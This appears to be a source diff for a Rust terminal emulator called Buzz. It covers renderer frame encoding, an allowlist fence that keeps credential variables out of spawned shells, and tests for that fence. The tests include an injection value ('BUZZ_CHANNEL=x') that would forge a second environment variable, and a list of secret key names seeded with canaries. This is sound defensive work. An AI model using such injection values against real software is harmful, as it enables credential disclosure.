/// the value forge a second variable in the child's environ block.
#[test]
fn every_injected_key_is_well_formed() {
for (key, _) in context_vars(&context_named("buzz-tui")) {
assert!(
is_well_formed_env_key(key),
"malformed injected key: {key:?}"
);
}
}
/// The guard itself, including the bypass shape it exists for.
#[test]
fn well_formed_key_rejects_the_equals_bypass() {
for good in ["BUZZ_CHANNEL", "_UNDERSCORE", "A1"] {
assert!(is_well_formed_env_key(good), "rejected {good:?}");
}
for bad in [
"BUZZ_CHANNEL=x",
"",
"1LEADING_DIGIT",
"HAS SPACE",
"HAS\0NUL",
"kebab-case",
] {
assert!(!is_well_formed_env_key(bad), "accepted {bad:?}");
}
}

View File

@@ -0,0 +1,483 @@
//! Turning grid changes into frames for the renderer.
//!
//! Two rules shape this module, both measured:
//!
//! 1. **Nothing but reading and copying happens under the `Term` lock.** The
//! caller copies rows out; encoding, hashing and serializing run after the
//! lock is released. Encoding inline costs ~75x in lock hold.
//! 2. **Damage over-reports.** `Term::damage()` marks the cursor line every
//! call, so an idle terminal reports damage nearly every frame. Per-line
//! content hashing suppresses those, so the transport never sees a no-op.
//!
//! # Why a frame is the whole viewport
//!
//! Nearly every frame is a full repaint: `Term::scroll_up_relative` calls
//! `mark_fully_damaged()` unconditionally, so any output reaching the bottom
//! row damages the whole grid. Partial damage is effectively the idle cursor.
//!
//! That is fine, and the reason is worth having here rather than in a review
//! thread. A full frame is O(viewport) *by construction* -- the grid is itself
//! the coalescing buffer -- so its cost does not depend on how fast the child
//! writes. Measured on a 200x50 grid, bytes per frame across four orders of
//! magnitude of output rate: 11,390 at an unthrottled flood (45,759 lines
//! scrolled per frame), 11,390 at ~1 MB/s, 11,390 at ~100 KB/s, 11,305 on a
//! slow build log. Constant to three digits.
//!
//! A scroll-aware diff inverts that: its cost is O(lines scrolled), unbounded,
//! and at 45,759 lines/frame it would ship ~915x more data than the full grid
//! it was optimising. It wins where nobody is watching and loses under `cat`.
//!
//! **Revisit if the viewport grows.** 80x24 costs 2.6 KB/frame (0.2 MB/s at
//! 60 Hz), 200x50 costs 11.4 KB (0.7 MB/s), 400x100 costs 42.8 KB (2.6 MB/s).
//! 400x100 is roughly 4x a typical maximised window and is where this decision
//! should be re-measured -- as a serialization/IPC question, not a damage one.
//!
//! Dedup earns its place in the interactive case rather than the streaming one:
//! typing is ~0.9 rows per keystroke, and an idle terminal ships 0 rows across
//! 60 frames instead of a cursor-line frame 60x/second. Idle is the load-bearing
//! one -- it is what the substrate does while sitting behind the GUI untouched.
use std::collections::hash_map::DefaultHasher;
use std::hash::{Hash, Hasher};
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::index::{Column, Line};
use alacritty_terminal::term::cell::{Cell, Flags};
use alacritty_terminal::term::TermDamage;
/// A run of cells sharing one visual style **and one cell width**.
///
/// # Why the consumer can position every cluster without Unicode tables
///
/// The renderer must place each display cluster at its true column, and it
/// cannot derive that from the text: no single split rule over a concatenated
/// string is correct. A regional-indicator flag (`U+1F1FA U+1F1F8`) is two
/// ordinary one-column cells, so it must split *per codepoint*; a keycap
/// (`1 U+FE0F U+20E3`) is one cell holding three codepoints, so it must split
/// *per grapheme*. Those rules disagree, and the distinction lives in the grid,
/// not in the string.
///
/// So the run carries it instead. Within a span every cluster advances the same
/// [`width`](Self::width) columns, and [`cluster_count`](Self::cluster_count)
/// says how many clusters the text holds. The consumer's rule is arithmetic on
/// those two numbers, with no Unicode table anywhere:
///
/// ```text
/// cluster_count == 1 -> the whole text is one cluster, at `column`
/// otherwise -> cluster i is the i-th char, at `column + i * width`
/// ```
///
/// The second case is exact because a cell carrying zerowidth marks is always
/// emitted alone, so every cell in a multi-cluster span contributes exactly one
/// `char`.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Span {
/// First column of the run.
pub column: usize,
/// The run's text. Grapheme clusters are kept whole: a cell's zerowidth
/// combining marks follow its base character, so the renderer never sees
/// a base and its accent as separate glyphs.
pub text: String,
/// Columns each cluster in this run occupies: 1, or 2 for wide glyphs.
///
/// Uniform across the run by construction -- a width change ends the span.
/// This is what lets the consumer position clusters by computed origin
/// rather than by accumulated text advance.
pub width: u8,
/// How many display clusters [`text`](Self::text) holds.
///
/// Without this the consumer cannot distinguish a one-cluster span carrying
/// combining marks from an ordinary multi-character run, and would need a
/// Unicode zerowidth table to guess. The grid already knows, so it says.
pub cluster_count: u16,
/// Packed style: fg, bg, and attribute flags.
pub style: Style,
}
impl Span {
/// The decoding invariant, stated once: a span is either a single cluster
/// (which may hold several `char`s, as a keycap or an accented letter
/// does) or one cluster per `char`.
///
/// Exposed so consumers can assert it at a trust boundary rather than
/// restate it. The encoder checks it in debug builds on every frame.
pub fn counts_are_consistent(&self) -> bool {
self.cluster_count == 1 || usize::from(self.cluster_count) == self.text.chars().count()
}
}
/// Visual style of a span, as the renderer needs it.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub struct Style {
pub fg: u32,
pub bg: u32,
pub flags: u16,
}
/// One changed row.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct RowFrame {
pub line: usize,
pub spans: Vec<Span>,
}
/// The cursor, carried separately from row content.
///
/// Upstream damages the cursor's line on every `damage()` call. If the cursor
/// travelled inside the row payload, every frame would carry a row rewrite for
/// a caret that moved one column. As its own plane it costs a few bytes and
/// leaves row dedup free to suppress the row.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct CursorFrame {
pub line: usize,
pub column: usize,
pub visible: bool,
}
/// One update for the renderer.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Frame {
pub rows: Vec<RowFrame>,
pub cursor: CursorFrame,
/// Whether the cursor plane changed since this encoder's previous frame.
/// Cursor movement can be the only visible effect of input (for example,
/// echoing a space over an already blank cell), so it independently makes
/// an incremental frame publishable.
pub cursor_changed: bool,
/// Whether the renderer should discard what it has and repaint.
pub full: bool,
/// The grid this frame describes. A change means the terminal was resized
/// and row indices refer to a different geometry than the previous frame's.
/// Carried so the consumer can detect that from the frame itself instead of
/// trusting that no resize overtook it in flight -- across a transport, a
/// frame captured before a resize can arrive after it.
pub viewport: crate::Viewport,
}
impl Frame {
/// True when there is nothing for the renderer to do.
pub fn is_empty(&self) -> bool {
self.rows.is_empty() && !self.cursor_changed && !self.full
}
}
/// Raw rows copied out from under the lock, awaiting encode.
pub struct RawFrame {
rows: Vec<(usize, Vec<Cell>)>,
cursor: CursorFrame,
full: bool,
viewport: crate::Viewport,
}
/// The grid line a screen row reads from.
///
/// The grid indexes the active area from 0 and scrollback with *negative*
/// lines, so scrolling back `n` lines means every screen row reads `n` lines
/// higher. At the live edge the offset is zero and this is the identity, which
/// is why the unscrolled path is unchanged rather than merely equivalent.
fn row_of(screen_row: usize, display_offset: usize) -> Line {
Line(screen_row as i32 - display_offset as i32)
}
/// Where the cursor sits on screen, given how far the viewport is scrolled
/// back.
///
/// The grid keeps the cursor in *active-area* coordinates, which do not move
/// when the user scrolls; the renderer paints *screen rows*, which do. The two
/// agree only at the live edge, so the conversion has to happen somewhere, and
/// it happens here rather than in the renderer -- the renderer is not told the
/// display offset, and giving it one would put this same arithmetic on the far
/// side of a transport.
///
/// Scrolling far enough pushes the cursor off the bottom of the viewport, and
/// then it is reported as not visible. Without that clamp a caret drawn at a
/// clamped row would sit on some unrelated line of history, which reads as
/// corruption rather than as scrollback.
fn cursor_frame(
cursor_point: alacritty_terminal::index::Point,
display_offset: usize,
screen_lines: usize,
shown: bool,
) -> CursorFrame {
let line = cursor_point.line.0.max(0) as usize + display_offset;
CursorFrame {
line: line.min(screen_lines.saturating_sub(1)),
column: cursor_point.column.0,
visible: shown && line < screen_lines,
}
}
/// Copy the damaged rows out of the terminal. **Runs under the lock; does no
/// encoding.** Keep this function boring — everything added here is lock hold.
pub fn capture(terminal: &mut crate::Terminal) -> RawFrame {
let viewport = terminal.viewport();
let display_offset = terminal.display_offset();
let term = terminal.term_mut();
let columns = term.columns();
let screen_lines = term.screen_lines();
let cursor_point = term.grid().cursor.point;
let shown = term
.mode()
.contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
// Upstream's partial iterator already reports **screen** rows: it offsets
// each damaged active-area line by the display offset and drops the ones
// that scrolling pushed off the bottom (`TermDamageIterator::new`). So both
// arms below speak the same coordinate, and `row_of` converts once.
let (lines, full) = match term.damage() {
TermDamage::Full => ((0..screen_lines).collect::<Vec<_>>(), true),
TermDamage::Partial(iter) => (
iter.map(|bounds| bounds.line)
.filter(|l| *l < screen_lines)
.collect(),
false,
),
};
let grid = term.grid();
let mut rows = Vec::with_capacity(lines.len());
for line in lines {
let row = &grid[row_of(line, display_offset)];
rows.push((line, row[..Column(columns)].to_vec()));
}
let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
term.reset_damage();
RawFrame {
rows,
cursor,
full,
viewport,
}
}
/// Copy the **entire visible viewport**, leaving damage untouched.
///
/// This exists for subscribers that arrive mid-stream: attach, reattach, and
/// the successor side of a resize. Damage only describes what changed since
/// the last capture, so a newcomer that starts from [`capture`] sees whatever
/// happened to change next -- often just the cursor's line -- painted onto a
/// blank screen. Upstream's `mark_fully_damaged` is private, so an embedder
/// cannot ask for a full frame that way.
///
/// **It must not consume damage, and that is the load-bearing property.** The
/// incumbent subscriber's next [`capture`] has to still see its rows. If this
/// called `damage()`/`reset_damage()` it would steal them, and the incumbent
/// would freeze on stale content while a newcomer's full-frame test passed.
/// The absence of those two calls below is the mechanism; `snapshot_test.rs`
/// is the proof.
///
/// **Runs under the lock; does no encoding.** Costs a full grid copy rather
/// than a damaged-rows copy, so it belongs on attach, not in the frame loop.
pub fn capture_all(terminal: &mut crate::Terminal) -> RawFrame {
let viewport = terminal.viewport();
let display_offset = terminal.display_offset();
let term = terminal.term_mut();
let columns = term.columns();
let screen_lines = term.screen_lines();
let cursor_point = term.grid().cursor.point;
let shown = term
.mode()
.contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
let grid = term.grid();
let mut rows = Vec::with_capacity(screen_lines);
for line in 0..screen_lines {
let row = &grid[row_of(line, display_offset)];
rows.push((line, row[..Column(columns)].to_vec()));
}
let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
// No `damage()` and no `reset_damage()`: see the note above.
RawFrame {
rows,
cursor,
// A snapshot *is* a repaint, and marking it full also resets the
// consumer's `Encoder` hashes, so its dedup state describes the grid it
// was actually given rather than a predecessor's.
full: true,
viewport,
}
}
/// Suppresses rows whose content did not actually change.
#[derive(Default)]
pub struct Encoder {
hashes: Vec<u64>,
cursor: Option<CursorFrame>,
}
impl Encoder {
pub fn new() -> Self {
Self::default()
}
/// Encode a captured frame. **Runs with the lock released.**
pub fn encode(&mut self, raw: RawFrame) -> Frame {
// A full frame invalidates the dedup cache. Both routes that produce
// one matter: a `mark_fully_damaged` from scroll/alt-swap, and a resize,
// where the cached hashes describe rows of a different width entirely.
if raw.full {
self.hashes.clear();
}
let mut rows = Vec::with_capacity(raw.rows.len());
for (line, cells) in raw.rows {
let hash = hash_cells(&cells);
if self.hashes.len() <= line {
self.hashes.resize(line + 1, 0);
}
if self.hashes[line] == hash {
continue;
}
self.hashes[line] = hash;
rows.push(RowFrame {
line,
spans: spans(&cells),
});
}
let cursor_changed = self.cursor != Some(raw.cursor);
self.cursor = Some(raw.cursor);
Frame {
rows,
cursor: raw.cursor,
cursor_changed,
full: raw.full,
viewport: raw.viewport,
}
}
}
fn hash_cells(cells: &[Cell]) -> u64 {
let mut hasher = DefaultHasher::new();
for cell in cells {
cell.c.hash(&mut hasher);
// Hash the *packed* colors, not the enum: this is the representation
// the renderer receives, so the dedup key cannot disagree with the
// wire encoding and suppress a row that actually changed on screen.
pack_color(cell.fg).hash(&mut hasher);
pack_color(cell.bg).hash(&mut hasher);
cell.flags.bits().hash(&mut hasher);
if let Some(zerowidth) = cell.zerowidth() {
zerowidth.hash(&mut hasher);
}
}
hasher.finish()
}
/// Group a row's cells into runs of uniform style and width.
///
/// A run continues only while style *and* width match, and a cell carrying
/// zerowidth marks is always emitted alone. Both breaks exist so the consumer
/// can compute each cluster's column as `column + i * width`; see [`Span`].
///
/// The width comparison is the only thing keeping widths uniform within a run:
/// [`Style`] deliberately excludes [`GEOMETRY_FLAGS`], so a style key cannot
/// break a run on width behind this check's back.
fn spans(cells: &[Cell]) -> Vec<Span> {
let mut spans: Vec<Span> = Vec::new();
// Whether the run in progress may still be extended. Kept here rather than
// on `Span` because it is grouping bookkeeping, not part of the wire shape.
let mut open = false;
for (column, cell) in cells.iter().enumerate() {
// A wide glyph occupies two cells: the character, then a spacer. The
// spacer carries no text of its own -- emitting its placeholder space
// would insert a phantom column after every CJK character or emoji.
if cell.flags.contains(Flags::WIDE_CHAR_SPACER) {
continue;
}
let style = style_of(cell);
let width = if cell.flags.contains(Flags::WIDE_CHAR) {
2
} else {
1
};
let zerowidth = cell.zerowidth();
let mut text = String::new();
text.push(cell.c);
if let Some(marks) = zerowidth {
text.extend(marks);
}
// A cluster with combining marks holds more `char`s than columns, so it
// cannot share a run: it is the one case where "one char per cluster"
// stops holding.
let joinable = zerowidth.is_none();
match spans.last_mut() {
// `cluster_count` is refused rather than wrapped when it would
// overflow: the run simply ends and a new span starts at this
// column, which the consumer's rule already handles.
Some(last)
if open
&& joinable
&& last.style == style
&& last.width == width
&& last.cluster_count < u16::MAX =>
{
last.text.push_str(&text);
last.cluster_count += 1;
}
_ => spans.push(Span {
column,
text,
width,
cluster_count: 1,
style,
}),
}
open = joinable;
}
// Enforced in release, not just in debug. This is a *wire* invariant: a
// span that violates it is undecodable by the rule in [`Span`], and the
// consumer's failure is silent misplacement of every cluster after it.
// A `debug_assert` here would vanish in exactly the build where that
// corruption ships. The cost is one pass over text already in cache --
// the same order as building the spans -- and it buys a loud, local
// failure instead of a renderer quietly drawing the wrong columns.
assert!(
spans.iter().all(Span::counts_are_consistent),
"cluster_count must be 1 or the span's char count"
);
spans
}
/// Flags describing where a cell sits in the grid rather than how it looks.
///
/// `WRAPLINE` marks the last cell of a row that wrapped; the three wide-char
/// bits mark a two-column glyph and its spacer. Neither says anything about
/// appearance.
///
/// These are excluded from [`Style`] so the style key means one thing: visual
/// attributes. Geometry travels in [`Span::width`], which is compared on its
/// own when grouping -- if these bits stayed in the key they would break runs
/// as a side effect and leave the width comparison untestable.
///
/// Composite visual aliases (`BOLD_ITALIC`, `DIM_BOLD`, `ALL_UNDERLINES`) are
/// deliberately not masked: those are appearance.
const GEOMETRY_FLAGS: Flags = Flags::WRAPLINE
.union(Flags::WIDE_CHAR)
.union(Flags::WIDE_CHAR_SPACER)
.union(Flags::LEADING_WIDE_CHAR_SPACER);
fn style_of(cell: &Cell) -> Style {
Style {
fg: pack_color(cell.fg),
bg: pack_color(cell.bg),
flags: cell.flags.difference(GEOMETRY_FLAGS).bits(),
}
}
/// Pack a color into a tagged u32 the renderer resolves against the theme.
///
/// Named and indexed colors stay symbolic rather than being resolved here:
/// the substrate must follow the user's chosen theme, so the palette belongs
/// to the renderer, not to a snapshot taken at damage time.
fn pack_color(color: alacritty_terminal::vte::ansi::Color) -> u32 {
use alacritty_terminal::vte::ansi::Color;
match color {
Color::Named(named) => 0x0100_0000 | named as u32,
Color::Indexed(index) => 0x0200_0000 | index as u32,
Color::Spec(rgb) => {
0x0300_0000 | ((rgb.r as u32) << 16) | ((rgb.g as u32) << 8) | rgb.b as u32
}
}
}

View File

@@ -0,0 +1,85 @@
//! Environment fence for spawned PTY children.
//!
//! Buzz's own process holds `BUZZ_PRIVATE_KEY` (an nsec), `BUZZ_AUTH_TAG`, and
//! relay credentials. `portable_pty::CommandBuilder::new()` pre-seeds its env
//! map from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `get_base_env()`
//! `:74`), so a shell spawned with the default builder inherits **all** of it:
//! the user types `env` and reads the signing key off the screen.
//!
//! The in-repo `feat/terminal` branch (`4f287d158`, abandoned 2026-05-22)
//! demonstrates the failure mode this module exists to prevent. It removed
//! seven Hermit/macOS keys by denylist under a comment promising "a clean
//! environment" and passed 68 variables — including the nsec — to the child.
//! A denylist is only as current as the last time someone remembered to
//! extend it; it was correct for the polluted-`PATH` threat it was written
//! for and became a key-disclosure bug when the app started holding secrets.
//!
//! So: **allowlist, never denylist.** Clear the inherited environment
//! wholesale, then rebuild only what a terminal legitimately needs.
use portable_pty::CommandBuilder;
/// Keys the child is allowed to inherit from Buzz's own environment.
///
/// Deliberately minimal: each entry is something a shell genuinely cannot
/// function without, or that visibly degrades the session by its absence.
/// Anything not listed here does not reach the child, including keys that do
/// not exist yet — which is the property a denylist cannot offer.
const INHERIT_ALLOWLIST: &[&str] = &[
"HOME", // shell startup files, ~ expansion
"USER", // prompt expansion, `whoami`-adjacent tooling
"LOGNAME", // POSIX companion to USER
"LANG", // UTF-8 decoding of the child's own output
"LC_ALL", // explicit locale override, when set
"LC_CTYPE", // character classification; wide/emoji handling
"TZ", // timestamps in prompts and logs
"TMPDIR", // per-user temp dir; absence breaks many tools on macOS
];
/// Values Buzz sets on the child unconditionally, overriding any inherited
/// value. `TERM` in particular must describe *our* emulator, not whatever
/// terminal happened to launch the desktop app.
const OVERRIDES: &[(&str, &str)] = &[
("TERM", "xterm-256color"),
("TERM_PROGRAM", "Buzz"),
("COLORTERM", "truecolor"),
];
/// Applies the environment fence to `cmd`, returning it for chaining.
///
/// Ordering is load-bearing and the reverse fails silently: `env_clear()`
/// discards every accumulated entry, so clearing *after* populating yields a
/// child with an empty environment and no error anywhere. Clear first, then
/// rebuild.
///
/// `shell` is the *resolved* shell from [`crate::shell::resolve_shell`], and
/// it is injected rather than inherited. Buzz's own `SHELL` and the shell we
/// actually spawn are different values in exactly the cases the resolution
/// fallback exists for — a Finder-launched app with no `$SHELL`, or a
/// `$SHELL` that fails the executable-regular-file check — so inheriting it
/// would tell the child it is running something it is not.
pub fn fence_env(cmd: &mut CommandBuilder, path: &str, shell: &str) {
// 1. Drop the inherited environment wholesale, secrets included.
cmd.env_clear();
// 2. Rebuild only the allowlisted keys that are actually present.
for key in INHERIT_ALLOWLIST {
if let Some(value) = std::env::var_os(key) {
cmd.env(key, value);
}
}
// 3. Apply Buzz's own terminal identity.
for (key, value) in OVERRIDES {
cmd.env(key, value);
}
// 4. PATH is supplied by the caller rather than inherited; see
// `path::user_shell_path`.
cmd.env("PATH", path);
// 5. The resolved shell, last. `CommandBuilder::as_command` writes its own
// `SHELL` before applying this map (`cmdbuilder.rs:528-536`), so our
// explicit entry is the one the child sees.
cmd.env("SHELL", shell);
}

View File

@@ -0,0 +1,359 @@
//! Secret-leak gate for the environment fence.
//!
//! These tests spawn a real PTY child and read its actual environment. An
//! assertion against the `CommandBuilder` alone would be weaker: it would not
//! prove that what the builder holds is what the kernel hands the child.
use crate::env_fence::fence_env;
use crate::path::user_shell_path;
use crate::shell::{is_executable_file, login_argv0, resolve_shell, FALLBACK_SHELL};
use portable_pty::{native_pty_system, CommandBuilder, PtySize};
use std::io::Read;
/// Secrets Buzz's own process holds. Sourced from the desktop crate's
/// `RESERVED_ENV_KEYS` (`src/managed_agents/env_vars.rs:58`); duplicated
/// rather than imported because this crate deliberately has no dependency
/// on the Tauri crate. `reserved_keys_are_covered` keeps the two in step.
const SECRET_KEYS: &[&str] = &[
"BUZZ_PRIVATE_KEY",
"NOSTR_PRIVATE_KEY",
"BUZZ_AUTH_TAG",
"BUZZ_API_TOKEN",
"BUZZ_ACP_PRIVATE_KEY",
"BUZZ_ACP_API_TOKEN",
"BUZZ_RELAY_URL",
];
const CANARY: &str = "SAMI_CANARY_MUST_NOT_LEAK";
/// Uniquely-named executable seeded into Buzz's own PATH; the child must not
/// be able to run it.
const CANARY_BIN: &str = "buzz-hermit-canary-tool";
/// Creates a fixture file at `name` with `mode`, replacing any leftover from
/// a previous run.
///
/// The removal is not tidiness: a fixture written at mode `0o010` is not
/// writable by its own owner, so a second run in the same temp dir fails with
/// `Permission denied` before reaching a single assertion. Green on a fresh
/// runner, red on a persistent one — a test must not depend on which it got.
#[cfg(unix)]
fn fixture_file(name: &str, contents: &str, mode: u32) -> std::path::PathBuf {
use std::os::unix::fs::PermissionsExt;
let path = std::env::temp_dir().join(name);
let _ = std::fs::remove_file(&path);
std::fs::write(&path, contents).expect("write fixture");
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode)).expect("chmod fixture");
path
}
/// Runs `env` in a real PTY child under the full fence and returns its output.
fn fenced_child_environment() -> String {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
child_environment(|cmd| fence_env(cmd, &user_shell_path(), &shell))
}
/// Runs `env` in a real PTY child and returns its raw output.
fn child_environment(build: impl FnOnce(&mut CommandBuilder)) -> String {
child_command(build, "env")
}
/// Runs `script` in a real PTY child under `build`'s fence and returns the
/// child's output.
///
/// The child is a real process on a real PTY rather than an inspection of the
/// `CommandBuilder`: the builder is what we asked for, and the child's
/// `environ` is what the kernel actually delivered. Only the second one is the
/// property under test.
fn child_command(build: impl FnOnce(&mut CommandBuilder), script: &str) -> String {
let pty = native_pty_system();
let pair = pty
.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})
.expect("openpty");
let mut cmd = CommandBuilder::new("/bin/sh");
build(&mut cmd);
cmd.arg("-c");
cmd.arg(script);
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
drop(pair.slave);
let mut reader = pair.master.try_clone_reader().expect("reader");
let mut out = String::new();
reader.read_to_string(&mut out).expect("read child output");
child.wait().expect("wait");
out
}
/// Seeds this process with secrets so the fence has something to leak.
///
/// Note these are process-global; the tests that rely on them assert on a
/// canary value they set themselves, so a real `BUZZ_PRIVATE_KEY` in the
/// developer's environment neither masks a failure nor causes one.
fn seed_secrets() {
for key in SECRET_KEYS {
std::env::set_var(key, format!("{CANARY}_{key}"));
}
}
#[test]
fn fence_keeps_secrets_out_of_the_child() {
seed_secrets();
let out = fenced_child_environment();
assert!(
!out.contains(CANARY),
"a reserved secret reached the child environment:\n{out}"
);
for key in SECRET_KEYS {
assert!(
!out.lines().any(|line| line.starts_with(&format!("{key}="))),
"{key} reached the child environment:\n{out}"
);
}
}
/// The other half of the assertion. A fence that clears in the wrong order
/// produces an empty environment: it passes the leak check above while
/// shipping a shell with no context and no error. Asserting only the negative
/// would ratify that bug.
#[test]
fn fence_still_delivers_the_terminal_contract() {
seed_secrets();
let out = fenced_child_environment();
for (key, value) in [("TERM", "xterm-256color"), ("TERM_PROGRAM", "Buzz")] {
assert!(
out.lines().any(|line| line == format!("{key}={value}")),
"{key} missing from child environment:\n{out}"
);
}
assert!(
out.lines().any(|line| line.starts_with("PATH=")),
"PATH missing from child environment:\n{out}"
);
}
/// The fence must be exhaustive, not enumerated: a secret invented tomorrow
/// is excluded because it was never allowlisted. This is the property the
/// `feat/terminal` denylist could not offer.
#[test]
fn fence_excludes_keys_it_has_never_heard_of() {
std::env::set_var("BUZZ_SOME_FUTURE_CREDENTIAL", CANARY);
let out = fenced_child_environment();
assert!(
!out.contains("BUZZ_SOME_FUTURE_CREDENTIAL"),
"an unknown key reached the child:\n{out}"
);
}
/// `PATH` is constructed, not inherited, so Buzz's Hermit build toolchain
/// never becomes the user's shell toolchain.
///
/// The assertion is *reachability*, not a string comparison: we seed a
/// uniquely-named executable into this process's `PATH` and prove the child
/// cannot run it. A string check would pass a fence that inherited a
/// differently-spelled toolchain directory, and would fail a fence that
/// legitimately contained the substring; `command -v` asks the question the
/// user actually asks by typing a command name.
#[test]
fn child_path_is_free_of_buzz_toolchain() {
let dir = std::env::temp_dir().join("buzz-terminal-path-canary");
std::fs::create_dir_all(&dir).expect("canary dir");
let canary = dir.join(CANARY_BIN);
std::fs::write(&canary, "#!/bin/sh\necho canary\n").expect("write canary");
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&canary, std::fs::Permissions::from_mode(0o755))
.expect("chmod canary");
}
// Stand in for Hermit activation: Buzz's own PATH leads with a directory
// holding a tool the user does not have.
std::env::set_var("PATH", format!("{}:/usr/bin:/bin", dir.display()));
assert!(
is_executable_file(&canary),
"test setup: canary must be executable"
);
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let out = child_environment(|cmd| {
fence_env(cmd, &user_shell_path(), &shell);
});
let path_line = out
.lines()
.find(|line| line.starts_with("PATH="))
.expect("child has a PATH");
assert!(
!path_line.contains("buzz-terminal-path-canary"),
"Buzz's toolchain leaked into the child PATH: {path_line}"
);
// The reachability arm: run `command -v` for the canary inside the fence.
let resolved = child_command(
|cmd| fence_env(cmd, &user_shell_path(), &shell),
&format!("command -v {CANARY_BIN} || echo CANARY_UNREACHABLE"),
);
assert!(
resolved.contains("CANARY_UNREACHABLE"),
"a Buzz-only executable was reachable from the child shell: {resolved}"
);
}
/// `$SHELL` is honoured when it names an executable regular file.
#[test]
fn resolve_shell_prefers_a_valid_shell_env() {
assert_eq!(resolve_shell(Some("/bin/sh")), "/bin/sh");
}
/// The other direction: an unset `$SHELL` must fall through to the **passwd
/// database**, not to the hardcoded fallback.
///
/// Asserting merely that the result is executable is vacuous — `/bin/sh` is
/// executable, so a resolver with the passwd step deleted entirely passes it.
/// Verified: mutant M8 (drop `.or_else(passwd_shell)`) survived that weaker
/// assertion. The property is *equality with the passwd entry*, and the
/// discriminating-power guard below refuses to pass silently on a machine
/// where the two candidates coincide.
#[test]
fn resolve_shell_falls_through_to_passwd_not_the_default() {
let Some(passwd) = crate::shell::passwd_shell() else {
panic!("no usable passwd shell; this gate cannot run on this machine");
};
assert_ne!(
passwd, FALLBACK_SHELL,
"passwd shell equals the fallback, so this test cannot tell the \
passwd step from its absence; it must not report success"
);
assert_eq!(
resolve_shell(None),
passwd,
"an unset $SHELL did not resolve to the passwd entry"
);
}
/// `access(X_OK)` returns 0 for a directory, so a `$SHELL` pointing at one
/// passes portable-pty's own check and produces a child that dies with a Rust
/// runtime panic. Requiring an executable *regular file* is what closes it.
#[test]
fn resolve_shell_rejects_a_directory_that_passes_x_ok() {
let dir = std::env::temp_dir();
assert!(
!is_executable_file(&dir),
"a directory must not qualify as a shell"
);
assert_ne!(
resolve_shell(dir.to_str()),
dir.to_str().unwrap(),
"a directory $SHELL was accepted; the child would abort on spawn"
);
}
/// Raw mode bits are not effective executability: a self-owned regular file
/// at mode `0o010` has `mode & 0o111 != 0` while `access(X_OK)` fails and
/// running it gives `Permission denied`. The metadata half of the predicate
/// cannot see this; only the `access` half can.
#[test]
fn resolve_shell_rejects_a_file_the_user_cannot_execute() {
use std::os::unix::fs::PermissionsExt;
let path = fixture_file("buzz-terminal-group-only-exec", "#!/bin/sh\ntrue\n", 0o010);
let mode = std::fs::metadata(&path).expect("stat").permissions().mode();
assert!(
mode & 0o111 != 0,
"test setup: some class must hold an execute bit, else this arm \
cannot discriminate the mode check from the access check"
);
assert!(
!is_executable_file(&path),
"a file the effective user cannot execute was accepted as a shell"
);
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
}
/// A non-executable regular file falls through as well.
#[test]
fn resolve_shell_rejects_a_non_executable_file() {
let path = fixture_file("buzz-terminal-not-a-shell", "not a shell", 0o644);
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
}
/// The login convention is `-<basename>`, applied without inspecting the
/// shell's name. Any shell — including ones that do not exist yet — gets
/// login semantics from argv0 rather than from a flag we guessed.
#[test]
fn login_argv0_is_shell_neutral() {
for (shell, expected) in [
("/bin/zsh", "-zsh"),
("/usr/local/bin/fish", "-fish"),
("/opt/nu/bin/nu", "-nu"),
(FALLBACK_SHELL, "-sh"),
] {
assert_eq!(login_argv0(shell), expected);
}
}
/// The child must be told the shell we actually spawned, not the one Buzz
/// itself was launched under. Asserting `SHELL` is merely present would pass
/// for an inherited value, which is wrong in exactly the fallback cases.
#[test]
fn child_shell_is_the_resolved_shell_not_the_inherited_one() {
std::env::set_var("SHELL", "/definitely/not/a/real/shell");
let resolved = resolve_shell(std::env::var("SHELL").ok().as_deref());
assert_ne!(
resolved, "/definitely/not/a/real/shell",
"test setup: the bogus shell must not resolve"
);
let out = child_environment(|cmd| fence_env(cmd, &user_shell_path(), &resolved));
assert!(
out.lines().any(|line| line == format!("SHELL={resolved}")),
"child SHELL is not the resolved shell (expected {resolved}):\n{out}"
);
assert!(
!out.contains("/definitely/not/a/real/shell"),
"the inherited SHELL reached the child:\n{out}"
);
}
/// Guards the duplication of `RESERVED_ENV_KEYS` above. If the desktop crate
/// grows a new secret, this points at the file to update.
#[test]
fn reserved_keys_are_covered() {
let source = include_str!("../../../src/managed_agents/env_vars.rs");
let declared: Vec<&str> = source
.lines()
.skip_while(|line| !line.contains("RESERVED_ENV_KEYS"))
.take_while(|line| !line.trim_start().starts_with("];"))
.filter_map(|line| line.trim().strip_prefix('"'))
.filter_map(|line| line.split('"').next())
.filter(|key| {
// Only identity/credential keys are in scope here: the rest of
// RESERVED_ENV_KEYS guards agent-config override, which cannot
// apply to a child that inherits nothing.
key.contains("PRIVATE_KEY")
|| key.contains("AUTH_TAG")
|| key.contains("API_TOKEN")
|| key.contains("RELAY_URL")
})
.collect();
assert!(!declared.is_empty(), "failed to parse RESERVED_ENV_KEYS");
for key in declared {
assert!(
SECRET_KEYS.contains(&key),
"{key} is a credential in RESERVED_ENV_KEYS but is not covered by \
this crate's SECRET_KEYS; add it here"
);
}
}

View File

@@ -0,0 +1,262 @@
//! The two hardening fences, and the counters that prove they ran.
//!
//! A hostile program can hold the parser's synchronized-update buffer open
//! (BSU without ESU) or an OSC string open, and upstream will buffer without
//! bound. Two independent fences, both enforced on **byte counts** — never on
//! a clock, because a clock makes the bound depend on how fast the machine is:
//!
//! * **F1** aborts a synchronized update once its buffer reaches [`SYNC_CAP`].
